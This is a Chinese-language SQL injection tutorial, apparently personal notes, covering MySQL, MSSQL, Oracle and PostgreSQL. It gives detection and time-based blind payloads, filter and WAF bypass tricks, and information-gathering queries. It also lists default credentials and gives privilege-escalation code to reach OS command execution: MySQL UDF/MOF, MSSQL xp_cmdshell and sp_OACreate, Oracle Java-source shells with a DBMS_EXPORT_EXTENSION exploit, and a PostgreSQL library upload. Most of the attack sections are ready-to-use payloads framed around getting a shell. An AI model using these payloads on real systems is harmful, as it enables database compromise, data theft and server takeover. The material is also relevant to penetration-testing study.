sql注入的攻击与利用

前言

本文叙述了在Mysql、MSsql、Oracle、PostgreSQL平台下的sql注入探测方式与利用，作为个人笔记，没有框架以及中间件的参与。

文章的内容并不全面，日后有接触新的方法会有补充。

探测方法

首先贴出增删改查的基本语句，加粗部分为用户可控：

mysql：

select item from table wherevaluelike db_value;

select item1,item2 from table where '**value1'**like db_value order by '**value2'**limitvalue3;

update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;

insert into table set item1='value1',item2=value2;

delete from table where item=value1order byvalue2;

mssql：

select item from table wherevaluelike db_value;

select item1,item2 from(

select item1,item2,row_number()over(order by 'value1') as num from table) as tablename

where num betweenvalue2andvalue3;

update table set db_value1=‘value1’,db_value2=value2 where'value3'=db_value3;

insert into table (item1,item2) values ('value1',value2);

delete table where item=value1order byvalue2;

oracle：

select item from table wherevaluelike db_value;

select item1,item2 from

(select rownum r,item1,item2 from

(select item1,item2 from table2 order byvalue1) table

where rownum <=value2) table1 where r>value3;

update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;

insert into table (item1,item2) values ('value1',value2);

delete table where item=value1order byvalue2;

postgresql：

select item from table wherevaluelike db_value;

select item from table limitvalue1offsetvalue2;

update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;

insert into table (item1,item2) values ('value1',value2);

delete table where item=value1order byvalue2;

然后是探测步骤和语句：

这些语句分开的时候感觉都一样，但是把上面的语句加粗的地方替换成探测语句就很明显了。

1.首先输入单引号、双引号，或者分号、小括号加引号

如果后两个响应的结果与第一个不同(或者报错)，则进入下一步测试，若结果有差异，基本可以确定是布尔类型的注入；

p=value

p=value' -> p=' and '1'=1' => p=' and '1'=2'

p=value" -> p=" and "1"=1" => p=" and "1"=2"

2.然后往payload中插入字符串连接符，判断数据库类型；

p=value

p=val' 'ue -> mysql

p=val'+'ue -> mssql

p=val'||'ue -> oracle、postgresql

3.如果上面的探测没有得到结果的话就可以尝试延时盲注，通过响应的延时情况判断是否存在注入；

mysql：p=' and sleep(5)#

mssql：p=' if ascii(...)=5 waitfor delay '0:0:5'--

oracle：p=' and dbms_lock.sleep(5)--

postgresql：p=' and pg_sleep(5)--

常用函数

mysql：

group_concat()——拼接组里面的所有字符串，用逗号分隔

concat()——将多个字符串拼接成一个字符串

concat_ws()——同上

left(str,n)——返回字符串str的前n个字符

right(str,n)——返回字符串str的后n个字符

substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串

substring(str,b,len)——同上

mid(str,b,len)——同上

eval()——执行命令

system "..."——执行命令

load_file()——读取本地文件

into outfile——写文件

information_schema——保存着mysql维护的所有其他数据库信息（库名、表、用户及其权限等等）

mssql：

is_srvrolemember(‘’)——查询权限，sysadmin：系统管理员；db_owner：库权限；public：公共权限

opendatasource(provider_name,init_string)——用于反弹注入

|——provider_name：注册为用于访问数据源的OLE DB提供程序的PROGID的名称

|——init_string：链接字符串=链接地址，端口，用户名，密码，数据库名

convert()——数据类型转换，例：convert(int,@@SERVERNAME)——获取服务器主机信息

exec()——执行命令

cast()——将查询的数据转化成字符型

len()——判断字符串长度

substring(str,b,len)——从字符串str的位置b截取长度为len的子字符串

oracle：

exec()——执行命令

substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串

length()——获取字符串长度

concat()——将多个字符串拼接成一个字符串

ascii()——将字符串转换为ascii码

userenv(parameter)——返回当前会话信息

postgresql：

system('')——执行系统命令

length()——统计字符串中字符数目

substring('str' from b for len)——从字符串str的位置b截取长度为len的子字符串

ascii()——将字符串转换为ascii码

chr()——将ascii码转换成字符

绕过

正常情况下服务器会对用户输入进行严格把关，这里也总结了一些常见的waf和过滤器的绕过手段：

1.大小写变种

'uNioN SeLEcT *frOm table wHeRe username='admin'--

2.语句中插入注释（比如用注释代替空格，like代替"="）

'/**/UNION/**/SELECT/**/password/**/FROM/**/table/**/WHERE/**/username/**/LIKE/**/'admin'--

3.将问题字符进行url编码，甚至二次编码

%2527%2f%2a%2a%2funion%20select%20password%20from%20table%20where%20username%20like%20%2527admin%2527--

4.使用动态查询执行

通常数据库允许动态执行sql查询，只需要向执行查询的数据库函数传递一个查询语句即可，这种办法可以用来绕过一些过滤器。若sql关键词被限制，可以尝试拼接：

Mysql：'sel' 'ect'（" "需要编码成%20）

Mssql：'sel'+'ect'（"+"需要编码成%2b）

Oracle：'sel'||'ect'

postgresql：'sel'||'ect'

用char()和ascii码拼接，可绕过引号限制

mysql：没有这种函数，需要自定义

mssql：exec('select * from table')

oracle：execute immediate 'select * from table'

postgresql：没有这种函数，需要自定义

5.用空字节

通常的输入过滤器都是在应用程序之外的代码实现的（IDS），这些系统一般是由原生编程语言开发而成，在原生编程语言中，根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。

%00' union select username,password from users where username='admin'--

6.嵌套表达式

一些过滤器会先从用户输入里剥离特定的字符或表达式，再进行处理。

seleselectct

7.利用截断

过滤器通常会对用户提供数据进行多种操作，有时操作会包括把输入截断成最大长度或调整使其位于拥有预定义MAX长度的数据库字段内，通过插入截断字符串的量+一个分隔符（如单引号），破坏语句闭合，使其产生第二个注入点。

检测方法也很简单，第一个请求为偶数个单引号，第二个请求为奇数个单引号，若存在截断漏洞，其中一个会向查询插入奇数个单引号，从而引发一个未终结的字符串，并产生数据库错误。

第一次：''''''''''''''''''''''

第二次：a'''''''''''''''''''''

8.宽字节注入

所谓的宽字节，实际上就是两个字节，在转换编码的过程中，将单字节的编码结合其后的编码看做两字节，即将两个字符误认为是一个宽字符而解码，GB2312、GBK、GB18030、BIG5、Shift_JIS等宽字节编码的数据库存在此漏洞，utf-8是单字符编码，用这种编码的数据库不存在此漏洞。

?id=%d5%27

#返回：誠'

#单引号没有被转义，存在宽字节注入

9.使用非标准入口点

很多waf会检查请求参数的值，但不会验证参数名，在通过搜索查询引用页进行注入可以尝试这种方法，除自定义请求机制外，很多应用会执行浏览分析功能，可以通过在搜索url的查询参数中嵌入攻击并在引用页头部提交该查询来执行sql注入。除参数名，在http头里的host、useragent等都有可能成为sql注入的攻击点。

GET /index.php HTTP/1.1

Host: www.example.org

Referer: http://www.google.com/search?hl=en&q=a';+waitfor+delay+'0:0:30'--

10.避开自定义过滤器

需要发挥想象力，例如可以给包名加双引号，在包名前添加跳转标签等。

11.利用二阶注入

这种攻击流程大致如下：

1.攻击者在请求中提交某种经过构思的输入

2.服务器存储输入，以便后面使用并响应请求

3.攻击者提交第二个（不同的）请求

4.为处理第二个请求，服务器会检索已经存储的输入并处理，导致注入的sql语句被执行

5.若可行，服务器会对第二个请求的响应中向攻击者返回结果

在个人信息页面更新自己的用户名为a'+@@version+'a，这里经过了严格的过滤，语句没有被执行：

UPDATE table_users SET name='a' '+@@version+' 'a' WHERE id=10;

后面查看个人信息的时候执行了之前构造的sql语句：

SELECT * FROM table_users WHERE username='a'+@@version+'a';

12.客户端sql注入

有一种场景是在客户端有一个客户端数据库，现在大多数情况下会被用于保存历史记录，如果安全限制做的不够好，攻击者可以通过一些方法把攻击语句插入到其他客户的数据库里，对其他用户造成攻击。这种攻击的效果取决于服务器规定如何使用在客户端的本地数据库，在结果判断上属于盲注的类型，因为结果不会返回给攻击者。但如果攻击者有客户端环境，在白盒情况下，可以通过反复测试得到一条精心构造后的攻击语句，然后将这条语句在线上使用，从而造成攻击。

13.混合攻击

指联合使用多种漏洞攻击服务器。

?uname=123+union+select+1,'',1

利用

渗透测试的最终目的就是为了控制对方设备，简单来讲就是getshell，sql注入也是围绕着getshell服务的，能做到的有以下几点：

1.信息收集

mysql：

version()——数据库版本

@@version_compile_os——当前操作系统

@@datadir——数据库路径

@@basedir——安装路径

current_user()——当前用户名

session_user()——连接数据库的用户名

mssql：

@@version()——查看数据库版本

exec master..xp_msver——查看系统信息

xp_readerrorlog 0——查看日志文件(需要exec执行)

sp_helpsrvrolemember——查看用户所属角色信息

IS_SRVROLEMEMBER('sysadmin')——查看当前用户权限

sp_helpuser——查看当前用户

oracle：

v$version——数据库版本

product_component_version——也是数据库版本

dbms_output.put_line( dbms_db_version.version )——也是数据库版本，需要exec执行

ORACLE_HOME——数据库安装路径(直接查环境变量)

select member from v$logfile;——日志文件位置

select file_name from dba_data_files;——数据库文件路径

role_sys_privs——当前用户的角色权限

user_sys_privs——用户的系统权限

user_users——当前用户详细信息

user_role_privs——当前用户角色信息

postgresql：

version()——数据库版本

PGHOME——安装路径(环境变量)

user——查看所有用户

current_user——当前用户名

session_user——连接数据库的用户名

2.提权

mysql：

默认用户密码

root

mof：

在windows平台下，C:/windows/system32/wbem/mof/nullevt.mof这个文件在很短的时间内会以system权限执行一次，只需要把代码存储到这个文件中就可以实现提权。要实现mof有两个前提，首先要有mof目录可写权限，比如说root用户，其次是突破--secure-file-priv限制。

udf：

udf提权是利用自定义函数的功能，将mysql账号转化为系统system权限。版本>5.1，udf文件在安装目录下的lib/plugin内(默认不存在)，利用udf提权有两个前提，其中一个是用户需要对mysql库有insert和delete权限，另一个和mof一样，需要突破--secure-file-priv限制。

具体步骤：

show variables like '%version_%';

#查看mysql版本是32位还是64位

show global variables like 'secure%';

#值=空则可以写入导出文件

show variables like 'plugin%';

#查看plugin目录

select 'xxx' into dumpfile 'C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION

#没有则需要新建

1.官网下载mysql源码

2.找到udf_example.def和udf_example.cc

3.往udf_example.cc里面添加自定义函数

4.在udf_example.def里注册刚刚添加的函数

5.vs编译

6.提取编译后的udf文件

#自定义函数插件的编写步骤

create function lookup returns string soname 'udf_example';

#导入udf文件，win下为.dll后缀

select myfun('...');

#利用mysql的自定义函数myfun()执行命令'...'，结果显示在查询结果中

drop function myfun;

#删除函数myfun

还有一种是反弹shell提权，本质上也属于udf提权。具体过程是讲udf文件转换成16进制，写入到数据库中，然后再导出到/lib/plugin目录，接下来的步骤就和udf提取一样。

mssql：

默认用户密码

sa

sqlserver的提权有xp_cmdshell、SP_OACreate和沙盒提权三种；

xp_cmdshell：

这个提权方法出现在存储过程中，xp_cmdshell是这种存储中的其中一个能执行系统命令的脚本，要利用它提权需要先开启配置：

exec sp_configure 'show advanced options',1;

exec sp_configure 'xp_cmdshell',1;

reconfigure;

#接下来就可以执行系统命令了

exec master.dbo.xp_cmdshell '...';

SP_OACreate：

主要是利用OLE对象的run方法执行系统命令，也是存储过程中能够利用的提权办法，同样需要开启配置：

exec sp_configure 'show advanced options',1;

exec sp_configure 'Ole Automation Procedures',1;

reconfigure;

#配置开启后，先声明一个变量用于存储返回的对象

declare @a int;

#然后调用wscript.shell组件，将返回的对象存储到@a变量中

exec sp_oacreate 'wscript.shell',@a out;

#调用cmd执行系统命令，执行结果直接输入到文件，因此返回值填null

exec sp_oamethod @a,'run',null,'c:\windows\system32\cmd.execommand > c:\result.txt';

exec sp_oacreate 'wscript.shell',@a out;

沙盒提权：

和上面的方法一样，先开启配置：

exec sp_configure 'show advanced options',1;

exec sp_configure 'Ad Hoc Distributed Queries',1;

reconfigure;

#沙盒模式参数含义：

#0=在任何所有者中禁止启用安全模式；

#1=仅在允许范围内；

#2=必须在access模式下（默认）

#3=完全开启

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

#执行命令"..."

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("...")');

oracle：

默认用户密码

syschang_on_install

systemmanager

scotttiger

Dbsnmpdbsnmp

oracle的提权分两种，第一种是create session提权，另一种是create procedure提权。需要先获取java权限或java.lang.RuntimePermission权限，后者可以执行任意代码，具体步骤如下：

create session提权：

#创建包

select dbms_xmlquery.newcontext('

declare PRAGMA AUTONOMOUS_TRANSACTION;

begin execute immediate '

'create or replace and compile java source named "LinxUtil" as

import java.io.*;

public class MySh extends Object {

    public static String shell(String args) {

        try{

            BufferedReader br = new BufferedReader(new InputStreamReader(Runtime

                        .getRuntime()

                        .exec(args)

                        .getInputStream()));

            String stmp,str = "";

            while ((stmp = br.readLine()) != null) str += stmp + "\n";

            br.close();

            return str;

        } catch (Exception e){return e.toString();}

    }

}'';

commit;

end;

') from dual;

#获取java权限

select dbms_xmlquery.newcontext('

    declare PRAGMA AUTONOMOUS_TRANSACTION;

begin execute immediate '

    'create or replace function msh(p_cmd in varchar2) return varchar2 as language java name ''''MySh.shell(java.lang.String) return String'''';

'';

commit;

end;

') from dual;

#调用函数执行命令

select msh('...') from dual;

create procedure提权：

#创建包

create or replace and resolve java source named JAVACMD as

import java.lang.*;

import java.io.*;

public class MyShell{

    public static void myexec(String command) throws IOException{

        Runtime.getRuntime().exec(command);

    }

}

/

#注册自定义函数

create or replace procedure mysys(command in varchar) as language java name 'MyShell.myexec(java.lang.String)';

#调用函数执行命令

EXEC mysys('...');

还有一种属于漏洞提权，受影响版本<10.2.0.4，能够将普通权限用户提升成dba权限的用户，步骤如下：

登录低权限用户，如scott

然后输入下面代码：

Create or Replace

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

执行后再输入：

DECLARE

INDEX\_NAME VARCHAR2(200);

INDEX\_SCHEMA VARCHAR2(200);

TYPE\_NAME VARCHAR2(200);

TYPE\_SCHEMA VARCHAR2(200);

VERSION VARCHAR2(200);

NEWBLOCK PLS\_INTEGER;

GMFLAGS NUMBER;

v\_Return VARCHAR2(200);

BEGIN

INDEX\_NAME := 'A1';

INDEX\_SCHEMA := 'SCOTT';

TYPE\_NAME := 'HACKERPACKAGE';

TYPE\_SCHEMA := 'SCOTT';

VERSION := '10.2.0.1.0';

GMFLAGS := 1;

v\_Return := SYS.DBMS\_EXPORT\_EXTENSION.GET\_DOMAIN\_INDEX\_METADATA(INDEX\_NAME =>

INDEX\_NAME,

INDEX\_SCHEMA=> INDEX\_SCHEMA,

TYPE\_NAME => TYPE\_NAME,

TYPE\_SCHEMA => TYPE\_SCHEMA,

VERSION => VERSION,

NEWBLOCK => NEWBLOCK,

GMFLAGS => GMFLAGS);

END;

/

再次查看权限发现权限为dba用户。

postgresql：

默认用户密码

postgres

在postgresql中，低版本可以直接调用system()函数，>8.2版本则需要利用udf提权，具体步骤如下：

select \* from pg\_language;

#查看支持的扩展语言，默认支持c

select lo\_create(9023);

insert into pg\_largeobject values (9023, 0, decode('分片后的数据')

...

select lo\_export(9023, '/tmp/udf.so');

#编译完反弹shell后需要将文件分割成2048字节的块进行传输

create or replace function sys\_eval(text) returns text as '/tmp/udf.so', 'myexec' language c returns null on null input immutable;

#注册函数

select myexec('...')

#执行命令

drop function sys\_eval;

#删除函数

参考：

《sql注入攻击与防御第二版》

https://www.freesion.com/article/7583153270/